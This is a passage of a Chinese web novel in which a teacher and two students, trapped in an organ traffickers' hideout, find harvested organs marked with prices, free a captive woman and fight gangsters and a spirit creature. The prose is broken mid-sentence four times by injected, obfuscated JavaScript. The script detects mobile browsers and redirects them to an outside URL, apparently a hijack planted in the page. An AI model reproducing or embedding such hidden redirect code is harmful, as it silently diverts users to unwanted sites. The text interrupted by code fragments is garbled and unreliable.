他怎么想都想不通,自己的人带着武器甚至带着麻醉枪,还是从暗处偷袭,他们用这种方式解决过很多人,哪有发生过这样的情况!?不出两分钟自己这边的三个壮汉就被对面一个看上去也没多厉害的小伙子全放倒了,简直是奇耻大辱。 旁边的小弟有点慌张,结结巴巴地说:“赵、赵赵赵赵赵哥,接、接下来怎么办啊……” “把舌头捋直了说话!”赵学明骂骂咧咧地吼了一句,另一边的镜头里,那三人不知道从哪找来一捆线缆,把自己这边的打手捆了个结结实实,然后不知道说了些什么,就朝着出口的地方走去。 赵学明见状,把身边小弟差使出去:“去把升降门降下来,绝不能让他们出去!” 监控还在反馈着几人的行动动向,稍微反光的屏幕映着赵学明咬牙切齿的脸。他此时稍微冷静下来,想想这三人里只有那个高个的黑衣男生威胁很大,看动作明显练过,其他两个人之前只有四处逃窜的份,根本不会打架,要好处理不少。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17216439|195718||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 分秒间,赵学明想到一个绝佳的方法。他拿起对讲机,换了一个频道,大声命令道:“所有人注意!有三个入侵者闯入了工厂,所有人立马到加工车间集合!” 吩咐完这些,他又拿起手机拨通一个电话,语气瞬间恭敬了不少:“喂,王哥您现在忙吗?我想请您帮个小忙……” …… 情况远超出安格森的预料,他本想只要回到原来的门前就有办法出去,但没想到现在几人彻底被关在了这个地方。 沿着来时的路线往回走,进来的铁门早已消失无踪,取而代之的是一面金属墙,和周围的走廊毫无缝隙地紧紧贴在一起,这可就不是小手枪能打开的东西了,得拿rpg来轰。 这地方仿佛是按照监狱的规格建造的,还安装的信号屏蔽器。三人的手机此时已经全部罢工,失去了和外部联系的唯一方式。 安全起见,安格森还是赶紧带着学生从走廊退出去,回到了那个仓库里。走廊太窄,万一另一边的门也有机关,会把几人全部关在那狭长的走廊里,更加危险。 他不由地懊悔,之前应该阻止黎子鸣进入走廊内,多警戒一下那莫名其妙的流浪,不然也不至于被一起关进来。 事已至此,早就超出任务该有的范畴了,整个队伍的领导权顺理成章地落入安格森手中,接下来该怎么做,两个学生都在等他的决定。 安格森看了眼被揍晕在地的三个打手,各个都是嘴歪眼斜的样子,看上去一时半会儿醒不过来。从他们口中问路彻底行不通。但他们进来的那个门位于地下,怎么看都不是正门。现在与其在这浪费时间,不如主动出击寻找其他出口,或是直接找到中控室打开所有门。 他不担心自己这边几个人的实力,刚刚黎子鸣已经表现过了,恐怕对面再来六七个人也是同样的结果。唯一的担心是大家的心态,在面对人类时,总会有更多的心理障碍。 所以下一步行动前,安格森率先嘱托道:“接下来,把各自的武器都放在身上最趁手的地方。黎子鸣,把那木棍扔了,你不是带附魔器了吗?之后用附魔器防身。” 黎子鸣一怔,下意识回复道:“可是,我带的附魔器都是……” 他带的附魔器是为了对付魑魅制作的,都是开了刃的利器,随便拿一把放在外边都是管制刀具,难道要拿这东西对着人吗? “对,就用附魔器,只不过把他们当普通刀剑用,拿它们去对着人,包括你身上的枪。”安格森一边应着黎子鸣,一边拍了拍苏佑容的肩膀:“我们不知道这里是什么情况,但能确定的是,这些人是冲着我们的命来的。这三人根本没有蒙脸,证明他们根本没有我们会出去报警指认的想法,是铁了心要把我们留在这。” “想想这些人,动作这么熟练,已经不知道在这里害死过多少无辜民众了,他们是犯罪者,我们是受害者。还是那句话,保护好自己比什么都重要。” 37.门后 随着汽车渐渐远离繁华的市区中心,林欣予开始逐渐理解,为什么那户人家会遭遇抢劫袭击。 从机场出来,开车行驶一个多小时,他们终于接近了地图上的地址。此时阳光正透过路边树木的叶隙洒下来,宽敞的道路上只有他们一辆车,周围安静的只有微风拂过树叶的声音和一些零零散散的鸟鸣声,颇有些惬意的感觉。 不过安静也就意味着,这地方确实人少。一路过来路边偶尔能看见别墅,都自己圈了很大的院子,种花种草或者养些小猫小狗,是令多少人羡慕的清闲生活。 如果不是这一路过来都没看见什么摄像头或者其他安保设施,林欣予会更羡慕一些。对于想要来点快钱的人,这附近地广人稀,还没有系统的安保设施和摄像头,确实是绝佳的作案地点。 又往前开了两三百米,他们终于到达目的地。秦竹一联系的是安格森当时的邻居,此时看来两家确实挨得很近,算是对门,中间隔着一条大马路。 哪边是邻居家也很好分辨,马路左边那幢别墅门口扣着一个巨大的锁,院子里杂草横生,一看就是很久没人住过了。而右边那幢楼的围墙都是新刷的漆,主人正在院里打理花草,看见秦竹一的车停在门口,走上前帮他们打开了门。 邻居房子的主人叫菲奥娜,二十五六的年纪,留着浅棕色长发,有着典型美国人的长相和口音,颇为热情地把两人迎进去,还给他们倒了两杯咖啡,说着坐在沙发上慢慢聊。 林欣予有些震惊于对方的热情,趁着对方跑去庭院收拾园艺工具的时候,用胳膊肘戳了戳秦竹一,小声问道:“你用什么方法让她愿意跟我们聊这些事的?” “找了一些理由,以及……”秦竹一伸出食指和拇指搓了搓:“以及这个到位了。” “理由?什么理由?” 还没等秦竹一回答林欣予的问题,进门的邻居菲奥娜一句话把所有理由都捅了出来:“很高兴见到你,安格森能遇到你这样的心理医生真是太幸运了!” 听到“心理医生”这个字眼的时候,林欣予手一抖,差点没把手里的咖啡抖出去,用着带点震惊的语气重复那个单词:“医生?还是心理的!?” “对啊,”对方有些疑惑林欣予这个反应:“我听说他困扰于过去阴影而出了点心理问题,自己又不想回忆,所以医生想要找知情人详细了解一下。” 她很认真地看向林欣予:“不是这样吗?” “呃…嗯……是!我是医生的助手,来帮他问一下!”林欣予慌乱地回答,差点忘了英语语法,猛喝两口咖啡冷静了一下。 秦竹一在她旁边用人家听不懂的中文光明正大地说:“慌什么慌,反正他最近确实在医院躺着。” 林欣予无语:“他那又不是心理……不是,你找了这种理由不能提前跟我说一声吗?偏得让我临时编啊!” 菲奥娜展现出来的些许疑惑也证明,秦竹一当时的说辞如何。估计觉得是这中国小姑娘不太熟悉英语,所以邻居没太深究医生为何不自己来的问题。毕竟除了关心自己老邻居的心理健康外,她还收了对方一笔好处费。 “你想要知道什么呢?”菲奥娜问林欣予,“仅仅是那件恐怖的事情吗?” 林欣予想了想,回道:“如果有时间的话,可以跟我说一下你和安格森之前的一些相处吗?他上学的时候是什么样的,或者有没有表现出什么和普通人不一样的地方?” “嗯……”菲奥娜歪头想了想,似乎在调动自己的记忆:“那从我刚认识他的时候说吧,那会儿我六岁,我和父母刚搬过来住……” 在菲奥娜的讲述中,安格森的父亲是个荷兰人,有着暗红色的头发和蓝色眼睛,这些都遗传给了安格森;母亲则是个美籍华人,给安格森留下一副东方人的面孔,和华人的语言和文化。他父亲是个商人,经常在外做生意,能赚很多钱,会带各种昂贵的奢侈品礼物回家;他母亲则在做一些文化研究,不过具体是什么内容,菲奥娜不得而知。 安格森是个标准的“别人家的孩子”,成绩优异,性格开朗,体育运动方面也不差,在美国青少年里是难得的乖巧懂事,因此从小身边就围绕着很多人,邻居小姐也是其中一员。 如果说有什么和普通人的不同,那估计是安格森好像能看见一些其他人看不见的东西。 “他有时候会突然看向什么都没有的地方,在我询问后却会说没什么。”菲奥娜是这样描述的。 这倒是也正常,安格森虽然灵力微弱,但终归是有的,具有灵力的人会有比较高的通灵天赋,能看见一些普通人看不见的东西也正常,俗称就是“阴阳眼”。 “他学习一直很好,在计算机方面很有天赋,那年他刚拿到知名高校的录取通知书,如果不是那件事,估计会一直留在纽约。” 一路讲来,菲奥娜其实说了很多细节的内容,但有用的信息非常有限。不过,许多脉络仍然清晰起来,比如他父亲的富商身份,或许是最终招致杀生之祸的根本原因。 随着咖啡渐渐减少,菲奥娜的回忆终于到了那个血红色的夜晚。 “那天晚上我们有同学聚会,安格森和我本来都是要去的,但我那天发烧了,所以留在家里,安格森是一个人去的。” 当天晚上快九点时,菲奥娜听到马路上有汽车引擎的声音,她以为是安格森经常加班的父亲回来,一开始没太在意。但她没过多久就想到,他父亲今天傍晚的时候已经回来了,那现在是什么人去了他家? 如此想着的菲奥娜,透过窗户向马路对面的别墅看去,但窗户视角不好,只能看见一半大门,和门口停着的一辆从未见过的黑色皮卡车。皮卡车上陆续下来三个全身黑色衣服的男人,用头罩把自己的长相蒙得严严实实,手里全都拿着大小不一的枪。 还没等菲奥娜思考这些人到底是什么人,他们就端着枪冲进安格森的家里,也冲进了菲奥娜的视野死角里。 下一秒,枪声响了。 连续,密集,像雨点一样,如雷鸣一般,把宁静的夜色击成碎片。 菲奥娜不知道发生了什么,她其实已经有了一些猜测,但她不敢想,不愿意想!如果能看见对面别墅的窗户,她就能知道里面发生了什么,但她在卧室里看不见,只能去客厅。 但是,要去吗?如果去客厅不小心弄出了什么动静,对面那三个人会不会冲进自己家里?不,不会的,隔着一条马路呢,对面还有那么吵的枪响,怎么会注意到自己家有人正在目睹这一切呢?况且,况且如果真的发生了她想象中的事,她得赶紧告诉安格森才行,不要回家,不能回家!至少还有人能活着! 于是她轻手轻脚地走去卧室通往客厅的门边,伴着自己和枪声共鸣的心跳声,推开房门…… …… 推开门,门后的场景和外面残破的仓库判若两地。苏佑容举起手机,用手电筒照亮一小块区域。 这里灯光昏暗不少,摆着一些办公桌椅,配套有电脑显示器和主机,只不过这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17225801|195718||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会儿显示器上没有画面,正亮着一片渗人的蓝色。看上去像是办公室的场景里,纸制品却很少,零散在桌上地上的都是空白的a4纸,像密室逃脱里生硬的造景。空气中弥漫着一股刺鼻的消毒水味,像是在掩盖什么。 “这里到底是什么地方?” 这个疑问同时围绕在三人的心里,越往前走,越令人疑惑的房间景象陆续出现,各种各样的实验室器材陈列在柜子里,还有许多叫不出名字的化学药剂,甚至是一些大型医疗设施,都被精心摆放在各个房间里,如果不是灯光如此灰暗,说这里是间医院都不为过。 直到他们走进最靠里的那个房间,气温骤降。 如果说其他地方只是空调全开的凉爽,那么在这里,温度已经接近于冷库。 房间靠墙摆放着一些铁柜,柜子上已然凝结了一层薄薄的雾霜。铁柜正面是透明的玻璃,此时也已经被霜完全覆盖了,看不见里面是什么东西。 下意识的,黎子鸣伸出手,用自己的体温擦拭掉那些糊在玻璃上的冰霜,而柜子里的东西,定睛一看,居然是许多泡在福尔马林里的标本。 “这是什么,生物实验室吗?”看到这些排列整齐的标本后,黎子鸣把苏佑容喊过来一起看:“上次见到这种标本还是在高中。” 这些标本,精确来说是人体的内脏标本,由小到大的从上而下陈列着,泡在福尔马林里,除了大幅失去血色,都还呈现着栩栩如生的样子。心脏、肾脏、肺脏、肝脏……都是人体的重要内脏。最奇怪的是,它们都以完整的形态被呈现在这里,但一般的生物实验室标本,通常都会呈现一些内脏切片,以此来更好展示内脏结构。 而现在眼前的这些摆设,仿佛只是在教人认识这些脏器。 视线的角落,苏佑容注意到了一些东西,每个装着内脏的容器都在左上角贴着一个小标签—— “个、十、百、千、万……”他小声呢喃数着标签上的0,每个标本上贴着的数字不等,但都在十万到百万的区间,个别标本上不是一个准确的数值,而是一个浮动的范围。 这些数字标签代表着什么?苏佑容越看越想,心里愈发沉重,再结合之前袭击他们的人,一种不详的猜测正在从萌芽迅速生长。 与此同时,苏佑容还发现了这些展示柜的异常,柜子似乎是嵌在墙上的,顺着边缘摸索,墙上有个能打开的插座板,里面赫然是一个电子密码锁。 另一边,安格森的注意力则投向房间正中央的冰柜。冰柜占据大半个房间的空间,显示屏上显示恒温4℃的温度,高度大概一米出头,刚好到正常人的腰部位置。顶部光滑平坦,像极了菜市场剁肉的砧板。 而冰柜的边关伸出来一张白纸的小角,安格森就是因为这一点边角注意到这个冰柜的。他试图把纸条抽出来,但纸条被缝隙卡得很死,硬扯会扯破,所以他喊来能解决这个事的人—— “黎子鸣,过来一下。”他朝黎子鸣揽揽手,“用下你的刀。” “从这个缝里插进去,应该能把锁芯割断。” 黎子鸣倒也没问为什么,直接照做了。附魔器确实要比寻常的武器锋利许多,只见他抽出随身携带的匕首,倾斜着往冰柜的缝隙里一捅,金属碰撞的声音清脆响起,随后传来锁芯断裂的手感。 “应该能开了。”他收起刀,略显吃力地抬起了冰柜厚重的顶盖…… 那张纸条轻飘飘地飘进了冰柜里,上面只有两个血红的大字—— 救我。 38.地狱 如果要以幽默诙谐的方式来形容眼前这幅场景,那一定会是“这是给我干哪儿来了?这还是国内吗?”。 但眼前这幅场景,属实无法让人幽默诙谐起来。 标本、或是说这些根本不是标本,这是刚被活剥下来不久的脏器,泡在特殊液体里,保存在特定的温度下,血色完全没有褪去,神经末梢还未完全死亡,肾脏也好,心脏也好,都还在那些液体中一边渗着血,一边蠕动着。 装着它们的容器上也贴着数字标签,只不过这些数字前多了一个符号—— “¥”。 这些透明容器铺在冰柜底层,按照不同类别整齐排列着,那张被卡住的纸片随着冰柜盖子被打开飘了进去,落在一颗尚在轻轻跳动的心脏上面。 上面是已经变成褐色的血,被涂抹成了粗狂又混乱的两个字: “救我”。 打开冰柜的黎子鸣是第一个看见这幅场景的。他明显愣住了,大脑一片空白,撑着柜门不知道下一步该干什么。直到安格森伸手加了一把力,又把柜门合上了。 “别看了。”安格森把黎子鸣扯远些,语气又沉重了不少,“尽快找出口吧,这地方不宜久留。” 只是现在恐怕没那么好出去了。 苏佑容没去看那里面是什么东西,他大概能想象到。其实从刚开始闻到消毒水味的时候他就在往这个方向想了,只不过一直在自我否定和麻痹,毕竟他不想真的面对这样一群罪犯,不敢去想象那些在这失踪的人的遭遇。然而后续不断出现的景象都在一一印证着他的猜想。 窝藏在这里的,是一伙器官贩子。 写在那些标本上的是他们的标价,而那大冰柜里存放的是他们的“货物”,每一件都是一条鲜活的人命。 所以他不敢靠近那个冰柜周围,不敢看里面是什么,他怕自己承受不住,只要没有见过,就还能麻痹自己——这不过是一些内脏标本罢了。 黎子鸣又是怎么想的呢?他从正面完整的看到了那里面的全部样貌,此时一言不发的站在柜子前面,没什么表情变化,但始终没有再触碰那个冰柜一下。 房间里于是陷入了沉重的沉寂,房间的温度都仿佛更低了几度,那个冰柜像是一个定时炸弹,沉沉压在每个人的心上,不知道什么时候就会爆炸,让人彻底崩溃。 他们干这行的,不是没见过尸体,也不少见支离破碎的尸体,但那都是因非人的怪物,它们没有大脑,只有生来破坏的本能,惨死于它们手下就仿佛死于天灾一样,只能去埋怨老天不公。 但此时面前的这是人,是人的双手做出的事。 他们剥夺了别人的生命,又开肠破肚,取出那些血淋淋的脏器,为了去换那些标签上的数额,用这样的方式去把人的性命明码标价吗? 苏佑容接受不了,他看过很多新闻,也知道人心险恶,但这不代表他能去面对这些赤裸裸的恶意,更何况现在自己也深陷险境,根本没有办法置身事外。 其他人是怎么想的呢?他其实想要找另外两人说说话,哪怕稍微缓解一下现在沉重的氛围,但此时黎子鸣沉默不语,估计还没从看到那些东西的冲击中恢复过来;而安格森面色沉重,也不知道在想些什么。 他突然有点想念林欣予,如果她在这个队伍里,此时一定不会如此安静。哪怕来痛斥抱怨几句呢? 没办法再这样想下去了,苏佑容把注意了重新投回那个密码锁上。他已经试了半天密码,如果计算没错,再来几次他就能输入正确的那个。 “滴——滴——” 几分钟后,急促的电子声打破了沉寂。 镶嵌在墙上的铁质展示柜,从中间打开了。 响声终于拉回了另外两人的注意力,那个铁柜从中间裂开,机械运转的声音为凝重的空气增添了几分轻巧之色。 裂开的铁柜里,是一座电梯,还是一座只能往上走的电梯。 安格森颇为震惊地看着突然多出来的电梯,问道:“你这是……怎么打开的?” 苏佑容指指那个密码锁:“试密码试出来的,运气好,没试太多次。” 那么现在问题又来了,要上吗?这座被隐藏起来的电梯。 按照苏佑容的想法,这房间是这块区域最后的一个房间,这个电梯是唯一能去往另一个地方的通路,没有不上的道理。 但安格森此刻却有些踌躇,他不知道上面是什么情况,怕楼上也是死路。而且根据那张狰狞的求救字条看,上面八成会有幸存的受害者,如果遇到幸存者,很难不施以援手,增加队伍的负担……但现在他们确实也只剩这一条通路能走了。 死马当活马医吧。安格森还是决定选择这条有点风险的路,兵来将挡水来土掩,更何况他们身上有枪,有能打十个的黎子鸣,真不一定会逊于盘踞在这里的犯罪团伙。 “上吧,看看上面有没有出口。” 闻言,距离最近的苏佑容率先一步上了电梯,安格森也没再多想,跟着苏佑容走上去了。 只剩黎子鸣,他好像还没缓回来,仍旧呆站在关闭的冰柜旁边,直到安格森喊他—— “黎子鸣,要走了。” “好。”回应倒是挺快。被这么一喊,黎子鸣突然又像是什么都没发生一样,往电梯所在的方向走去。 就在这时,异变突生! 在黎子鸣离电梯门还有两步路的时候,门突然开始关闭。这也没什么,距离不远,如果门缓慢关闭,他完全还可以冲进去。 但这门显然不是正常关闭的。两边的折叠门就像是断头台上掉落的刀片,“砰”的一声就狠狠砸在一起,连眨眼的时间都没用到。但凡黎子鸣走快点,说不定都会被突然合并的门夹碎成两半。 电梯内的苏佑容一下子急了,他猛地拍了下关上的电梯门,冲着外边喊道:“密码!柜子右边墙上有密码锁!53646!” “不行,打不开!”门外传来黎子鸣有些模糊的声音,“被锁死了!” “靠!”苏佑容狠狠踢了电梯门一脚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17227110|195718||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,当然这没有任何作用,只是在泄愤。但他比起沉溺愤怒,更快开始寻找其他的解决办法,比如电梯内有没有什么能开门的法子。 “等等。” 突然,安格森把苏佑容按住了。 “先安静一下。” 门外传来了什么声音,窸窸窣窣,密密麻麻,像是……很多人的脚步声。 “你们的电梯能运行吗?”零零碎碎的噪音间,黎子鸣的声音传来:“现在就往上走,别管我。” 话音刚落,安格森就按亮了1层的按键,好在电梯还是能够正常运行的,抖动两下后,上升感随之出现。 “今天真是倒了八辈子血霉。”苏佑容在心里暗骂一句,电梯启动的一刹那,外边的种种噪音就都消失了,他连向黎子鸣询问到底发生了什么的时间都没有。 那些人既然能突然关电梯门,那也就能彻底停掉电梯的电,到时候被关在电梯里的两人那可真就是瓮中之鳖。但现在电梯顺利升上去了,算不算是今天唯一的好消息? 属实有点地狱笑话。 没过多久,电梯停下。门扉打开,露出外边如出一辙的走廊。 苏佑容蹲下,朝着电梯和走廊间的缝隙大喊,他也不知道黎子鸣能不能听见,但他不说对面肯定是听不见的。 “黎子鸣!没事的话在那个房间等我们!我们会找到出去的办法的!” 声音穿过厚厚的混凝土和钢筋,传到楼下时,只剩下一些含糊不清的音节。 说实话,黎子鸣一句都没听清。 他的面前,乌泱泱挤进来二十余人,把他死死抵在房间的角落。 这二十人高矮胖瘦均有,都是男性,穿着和行为举止洋洋干干,手上甩着刀枪棍棒看上去就不是什么好人,放外边说是地痞流氓,但在这器官贩子的窝点里,估计各个手上有几条人命。 黎子鸣不敢放松,他被困在角落,第一时间抽出自己别在腰间的匕首,背在身后,用自己的身体挡着它。 “小伙子挺会打架的嘛,”为首的是个三十多岁的男人,人模人样地穿了件西装,但还是盖不住那种地痞流氓的气质,“打三个挺威风,打二十多个怎么样?” 话音刚落,他身后那群人叽叽喳喳笑起来,还夹杂着一些用调侃的语气说出来的令人毛骨悚然的话: “这种质量是不是卖价可高了?” “说不定也能一顶三呢!” “哈哈哈哈哈哈哈哈哈哈。” 人群嬉嬉闹闹地冷嘲热讽了半分钟,随着领头西装男的一个收声,总算是渐渐安静下来。 “小伙子,束手就擒怎么样?我们这麻醉针质量还挺好的,没有痛苦的。”他朝着其他人手上的武器撇了撇:“反抗可就不一定啦……” “……”黎子鸣不知道是冷漠还是无语,淡淡地回了一句:“你们可以试试。” “呵,不知天高地厚。”西装男应该是用尽了此生的文化储备,朝后挥挥手,自己退了两步。 “上!” 39.暗牢 不知道是幸运还是不幸,电梯成功把两人送上楼,却在送上楼的那一瞬间停止了运转。 如果他们晚一秒按下楼层,肯定会被彻底困在电梯里。 但好在,他们现在已经到了一个相对安全的地方。 虽然什么都没看见,但苏佑容能估计黎子鸣的大概情况。那密密麻麻的脚步声,结合之前遇袭时黎子鸣一打三的英勇行为,对面估计来了十多个人想单独把黎子鸣处理掉。利用电梯把他们分开,然后逐个击破,算是把地主的优势运用到极致。 不过即使苏佑容刚刚喊着要黎子鸣等他们找出去的方法,但从现在的情况来看,或许自己这边两个战五渣更需要担心。 “哐啷——哐啷——” 空旷的走廊里传出金属碰撞的声音,不,应该说是有什么东西在撞击铁门的声音。这突如其来的声音让两人还没放松的弦又紧绷了几度,这错综复杂的建筑内部如今俨然比恐怖主题的密室逃脱还要吓人,谁也不知道后面还会有什么机关,还会出现什么穷凶极恶的“鬼”。 声音的来源也不难寻找,在一个离电梯不远的靠左边的门里,里面的什么东西在一下一下撞击着门,沉闷的声音像重锤般击打在每个人心上。 “这是什么意思,门里是什么东西?”以防万一,苏佑容直接把枪抽出来了,以十分专业的姿势斜靠着门边,侧着身转动门把手,枪口已经对准门缝。如果里面冲出来什么不可名状的怪物,他就会第一时间开枪。 但想象中的事情没有发生,因为门被锁住了,他根本没能转动门把。 “开不开就别开了。”安格森想把苏佑容从门口拉开,他好像有点着急,生怕他再从门里听到什么一样,但还没等他触碰到苏佑容,门里传来的声音变了—— “呜……哦……救……呜呃……” 撞门的声音消失了,取而代之的,是呜咽声。 声音不大,里面的人好像已经没什么力气呼救了,只有断断续续的音节穿过厚重的铁门,模模糊糊,却像针一样一下一下扎在苏佑容的鼓膜里,几乎要刺穿他的大脑。 在他身后的安格森咬了咬牙,最担心的事情还是发生了,楼上的房间里,真的还有幸存者。被迫和黎子鸣分开的他们本身就有点自身难保,多一个幸存者无疑是雪上加霜……但他总不能、总不能让自己的学生见死不救。 如果在这里的是林欣予就好,安格森不禁想,以那姑娘的性格,估计此刻会赶紧远离这扇门,等找到安全的出路再回头考虑要不要救人这件事。 但现在眼前的,是苏佑容。他此刻依旧没有从门前离开,几乎已经展示出他的决定。 砰! 还没等安格森开口劝阻,枪响了。 在这里射出的第一颗子弹,打开了一扇不在必经之路上的门。 简单机械结构的门锁根本无法抵挡近距离发射的手枪子弹,蹦飞的金属碎屑差点划伤苏佑容的皮肤,但好在他早有准备,开枪的时候便做好了防护。唯一担心的是门里的人,希望他不是很靠近门。苏佑容气血上脑,完全忘了开口提醒对面。 失去桎梏的门缓缓敞开,映入眼帘的场景像是圈养家畜的养殖场,半人高的铁笼堆放在各个角落。墙上、地面上,随处可见零零星星的血迹,和那些铁笼一起散发出浓烈的铁锈味,配合着不怎么流通的空气,光凭气味就能给人留下难以磨灭的记忆。 声音的来源跪坐在门口,是个穿着白色衣服裤子的短发女生,看上去二十多岁的样子,被绳子绑住双手和双腿,嘴里也塞着布条。她不知道挣扎了多久,此时只能无力地靠在门板上,随着门被拉开差点倒在地上,但苏佑容早有预料,先一步扶住了她。 也不知道她凭什么认定门口的两人不是器官贩子的同伙,见到门打开,像看到救星一样,不知道哪来的劲又开始费力想要说些什么,猛地往苏佑容怀里靠。 苏佑容没想到对方是这个反应,顿时有些不知所措,赶紧安慰道:“我们是好人,没事了没事了……” 话说到一半他就虚了,明明现在的情况一点都算不上没事。 当然,嘴上一边安慰着,他手上也没停,赶紧解开了勒在女生嘴里的布条,至少让人家能先把话说出来。 本以为,情绪激动的幸存者会先开始求救,或者继续开始崩溃哭喊,亦或是提供一些能帮助几人顺利逃出去的信息,但没想到对面含着眼泪对着屋里的空气大喊: “有鬼!这里有鬼!救命、救命!” 鬼?这个字眼一下子把苏佑容听懵了,他连忙一边帮女生解开手脚上的绳子一边追问道:“你别急,慢慢说。” “那边,那边!”女生的手刚刚被解开,她伸手指向一个角落:“那边的笼子刚刚飞起来了,那边肯定有东西,是鬼!它要杀我!” “别怕别怕,科学社会哪有鬼啊……”苏佑容说着没过脑子的套路话,顺着女生手指的方向,不看还好,一看吓了一大跳—— “我靠啊!是魑魅!” 个头不大的一块黑色的玩意,正顶着一个铁笼,半飘半走地朝这边慢慢逼近。也是,这女生是普通人,看不见魑魅,只能看见这铁笼子自己飞了起来,那不是闹鬼是什么。 魑魅看着不大,应该是刚诞生没多久,这种魑魅是最好对付的,完全就是送分题,但奈何有些人就是连送分题都拿不下。 这下是真完蛋了,要是对付人,苏佑容手上的枪还能有点作用,对付魑魅可是只能靠黎子鸣。 站在苏佑容后面的安格森在他看不见的角落,一巴掌拍在了自己脑门上。这都是什么事儿啊,自己就跟一次任务,结果又是遇到犯罪团伙又是遇到魑魅,遇到魑魅的时候偏偏又是队伍里负责打架的人不在的时候……是自己人品不好吗,总不能和苏佑容一起死在这里啊。 “安、安老师,这可怎么办啊!?”逞强了大半天的苏佑容终于在这里宕机,遇到人他还能凭借嘴争取点时间,遇到不讲理的魑魅,他这个一千米跑不进五分钟的废物拿什么活。还说着“没事”要救幸存者,结果现在三个人全得搭进去了! 安格森没有第一时间回答他的话,神色逐渐从冷了下来。事已至此,实在不行只能像林欣予那次一样,先把命保住,后面再想想怎么编…… 好在,情况在这时出现了转机。 跪倒在地上的幸存者突然转移视线,死死盯住两人的后面,艰难地发声提醒道:“你们、你们后面!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17230131|195718||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 安格森到底反应还是比苏佑容快,没等对面的提醒说完就感应到了什么,眼疾手快地抓住苏佑容的衣服,把他扯到一旁。几乎是下一秒,锋利的破风声贴着两人的边缘划了过去,开了刃的砍刀猛地和铁门门框撞击,巨响震得人鼓膜发痛。 “哟,躲过去啦?” 身后,一个手持巨型砍刀的大汉,慢悠悠地踱步走来。他穿着黑色背心和军绿色工装裤,露出来的两个手臂肌肉膨胀,一看就吃了不少蛋白粉,粗壮得像别人的腰,肌肉结构更是堪比人体绘画练习的素材,像是电影里的雇佣兵。 这人悄无声息的出现在他们身后,毫不留情地往下挥刀,如果不是安格森躲的及时,估计现在两人的头都要被砍掉。 见到人躲过去,那壮汉也没什么反应,一边吹着口哨一边戏谑道:“你们能看见?是除魅师?” 说到这,他又自顾自摇了摇头:“不是吧,哪有这么弱的除魅师。” 这人跟演独角戏似的,表情动作倒是挺丰富,此时又挑了挑眉,像是突然想到了什么大彻大悟的事情:“哈!我知道了,物零社的人!” “科班的理论傻子,哈哈哈哈哈哈哈!” 真气人啊这话。苏佑容刚刚遇到魑魅的惊恐和慌乱一下子削减了不少,要不是在这种情况下,他能用不重复不带脏字的话把对面骂的找不着北,只是现在着实不适合开口骂人。 旁边的安格森此时有些狼狈,他刚扯着苏佑容躲开时,猛烈的动作扯到了胸口尚未痊愈的枪伤,喉头一股腥甜,差点又要吐血出来。但他也比苏佑容冷静许多,强按下伤口的疼痛,他开口说道:“我一早就在想,这里是一个犯罪团伙的窝点,又有报到物零社的魑魅调查任务,怎么可能一只魑魅都没有。” 他看向那五大三粗的壮汉:“原来他们请了专业的除魅师来。” “普通人哪知道什么除魅师啊。”壮汉脸上还保持着猖狂的笑:“我这叫‘道士’,除了做法驱鬼外,顺便帮忙处理几只闯进来的小蚂蚁。” 话音刚落,他看都没看地朝旁挥刀,刀刃冲着被他拦在身后的幸存者,擦着她脸边挥过去。女生不知道他们在说什么,也不知道为什么朝自己这边挥刀,她已经吓傻了,即使绑住手脚的绳子都被解开,也丝毫不敢乱动。只听见身后传来“哐当”一声,刚刚自己飞起来的铁笼,又猛地自己砸在地上。 从安格森和黎子鸣的视角看,砍刀划破组成魑魅的黑雾,稍显亮光的灵力一闪而过,小魑魅在扭曲中化为了灰烬。 确实是送分题。 壮汉满意的点点头,像是在肯定自己这招干得漂亮,接下来把那吓傻的女生提了起来,扔回房间里,又掂起刀朝向安格森和苏佑容。 “你们俩,是想自己进笼子,还是等我卸一两个胳膊腿再进去……” 砰! 又是一声干脆利落的枪响,打断了这人得意洋洋还没说完的话。 子弹精准的集中刀柄,把他随意掂着的大砍刀打飞了几米远,叮铃哐啷地砸落在地上。 